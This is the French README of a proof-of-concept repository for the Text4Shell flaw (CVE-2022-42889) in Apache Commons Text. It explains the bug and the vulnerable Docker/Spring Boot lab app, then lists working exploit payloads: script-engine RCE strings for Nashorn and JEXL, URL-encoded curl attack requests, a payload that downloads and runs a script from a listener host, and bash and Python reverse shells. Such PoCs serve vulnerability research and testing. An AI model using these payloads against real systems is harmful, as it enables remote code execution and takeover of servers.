
CVE-2022-42889 alias Text4Shell recherche & PoC
PoC pour la vulnérabilité récemment découverte dans Apache Commons Text par @pwntester :
Comme mentionné dans https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/ :
La vulnérabilité réside dans l'objet interpolateur StringSubstitutor. Un interpolateur est créé par la méthode StringSubstitutor.createInterpolator() et permet des recherches de chaînes telles que définies dans StringLookupFactory. Cela peut être utilisé en passant une chaîne « ${prefix:name} » où le préfixe est la recherche susmentionnée. L'utilisation des recherches « script », « dns » ou « url » permettrait à une chaîne malveillante d'exécuter des scripts arbitraires lorsqu'elle est passée à l'objet interpolateur.
Les versions d'Apache Commons Text affectées sont les versions 1.5 à 1.9. La faille a été corrigée dans la version 1.10.
Pour une exploitation à distance, une entrée contrôlée par l'attaquant doit être utilisée comme entrée pour l'interpolation StringSubstitutor. En particulier, dans les méthodes StringSubstitutor.replace() ou StringSubstitutor.replaceIn()
Depuis JDK 15, le moteur JavaScript Nashorn a été supprimé : https://openjdk.org/jeps/372. Mais si des dépendances tierces sont incluses, comme JEXL, une RCE dans Apache Commons Text pourrait se produire (https://twitter.com/pwntester/status/1582321752566161409)
Il peut être exploité pour obtenir une RCE.
Moteur Nashorn :
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
Si un JEXL tiers est utilisé :
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}
Cela peut conduire à une requête DNS :
${dns:address|commons.apache.org}
Il se connecte à l'URL spécifiée et tente de récupérer le contenu :
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}
Modèle basé sur https://start.spring.io/
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell
Différents points de terminaison sont fournis pour tester les différents vecteurs d'attaque mentionnés.

curl http://localhost:8080/poc1


curl http://localhost:8080/poc2


curl http://localhost:8080/poc3

curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

Avec Nashorn :
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

Avec JEXL :
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D


Pour simplifier, j'utilise l'interface Docker par défaut pour l'écouteur netcat. En explorant, j'ai trouvé ces payloads avec des reverse shells bash et python qui fonctionnent correctement :
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}
Où rev.sh est servi avec ces contenus possibles :
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

